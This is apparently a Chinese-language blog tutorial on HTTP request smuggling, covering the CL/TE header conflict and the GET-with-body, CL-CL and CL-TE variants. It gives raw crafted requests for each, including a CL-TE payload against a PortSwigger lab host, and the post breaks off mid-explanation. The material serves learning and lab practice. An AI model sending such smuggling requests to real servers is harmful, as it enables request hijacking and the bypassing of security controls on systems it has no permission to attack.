HTTP请求走私

参考文章:https://www.freebuf.com/articles/web/243652.html

HTTP请求走私

利用HTTP协议中请求和响应的解析和处理方式的不一致性,利用了HTTP协议中请求和响应的解析和处理方式的不一致性。攻击者通过构造特定的恶意请求,以欺骗服务器和代理服务器,从而绕过安全机制,执行未经授权的操作。

HTTP请求走私通常设计两个或多个HTTP请求组合,攻击者可以利用HTTP报文中的头部或其他元数据来混淆和欺骗服务器或代理服务器的解析逻辑

HTTP请求走私攻击过程

用户将请求发送道前端服务器(有时称为负载平衡器或反向代理),并且此服务器将请求转发到一个或多个后端服务器。

当前端服务器将HTTP请求转发到后端服务器时,它通常会通过同一后端网络连接发送多个请求,因为这样可以效率更高且性能更高。其实也非常简单:HTTP请求一个接一个的发送,接收服务器解析HTTP请求标头以确定这一个请求在哪里结束,下一个请求在哪里开始

img

在这种情况下,最重要的就是前端和后端系统就请求之间的边界达成一致。否则,攻击者可能会发送一个模棱两可的请求,改请求被前端和后端系统以不同的方式解释

img

在这里攻击者使迁都请求的一部分被后端服务器解释为下一个请求的开始,但实际上是在下一个请求之前,因此会干扰应用程序处理改请求的方式。

HTTP请求走私漏洞的产生

大多数HTTP请求走私漏洞的出现是因为HTTP规范提供了两种不同的方法来指定请求得到结束位置:Content-Length标头和Transfer-Encodeing标头

CL头是直接的:用于指定消息体的以字节为单位的长度。例如

1
2
3
4
5
6
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encodeing首标可以被用于指定该消息体的用途分块编码。这意味着消息正文包含一个或多个数据块。每个快均由以字节为单位的块大小(以十六进制表示)组成,后跟换行符,然后是块内容。该消息以大小为零的块终止。例如

1
2
3
4
5
6
7
8
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

由于HTTP规范提供了两种不同的方法来指定HTTP消息的长度因此单个消息可能会同时使用这两种方法,从而他们彼此冲突。HTTP规范试图通过指出如果CL和TE标头同时存在,CL则应忽略标头来防止此问题,当仅使用一台服务器时,这足以避免歧义,但是当将两个或多个服务器链接在一起时,这并不能避免歧义。在这种情况下,可能由于两个原有而出现的问题

  • 某些服务器不支持TE请求中的标头
  • TE如果以某种方式混淆了标头,则可能会诱使某些确实支持标头的服务器不对器进行处理

就是当前后端服务器对于TE标头而言行为不同时,则可能在连续请求直接的边界上存在分歧,从而导致请求走私漏洞。

HTTP请求走私类型

CL不为0的GET请求

前端代理服务器允许GET请求携带请求体,但后端服务器不允许GET请求携带请求体,则后端服务器会忽略掉GET请求中的CL,不进行处理,从而导致请求走私

点击左上角的\n可以看到换行符

image-20260719172908581

image-20260719172951754

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取CL,判断这是一个完整的请求,然后转发给后端服务器你,而后端服务器收到后,因为它不对CL进行处理,由于Pipeline的存在,就认为这是收到了两个请求。

CL-CL

假设中间的代理服务器和后端的原站服务器在收到类似的请求时,都不hi返回400错误,但是中间代理服务器按照第一个CL的值对请求进行处理,而后端服务器按照第二个CL的值进行处理,导致请求走私

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

前端服务器获取的数据包长度为8,将以上数据包完整转发至后端服务器,但后端服务器仅接受长度为7的数据包。因此读取前7个字符后,后端服务器认为本次请求已经读取完毕,然后返回响应。

但此时缓冲区仍留下一个a,对于后端服务器来讲,这个a是下一个请求的一部分,但没传输完毕,如果此时传来一个请求

1
2
GET / HTTP/1.1
HOST: test.com

那么前端服务器和后端服务器将重用TCP连接,使后端实际接收的请求为

1
2
aGET / HTTP/1.1
HOST: test.com

从而实现了一次HTTP的请求攻击

CL-TE

就是当收到存在两个请求头的请求包时,前端代理服务器值只处理CL

这一请求头,而后端服务器会蹲守RFC2616的规定,忽略掉CL,处理TE这一请求头。chunk传输数据格式

1
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

需要连续发送多次请求可以获得响应,也可以在攻击器中利用Null Payloads发起多次攻击以获得响应

image-20260720174437279

由于前端服务器处理CL,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也是

1
2
3
0\r\n
\r\n
G

当请求包经过代理服务端转发给后端服务器时,后端服务器处理TE,


HTTP请求走私
https://colourful228.github.io/2026/06/08/HTTP请求走私/
作者
Colourful
发布于
2026年6月8日
更新于
2026年7月20日
许可协议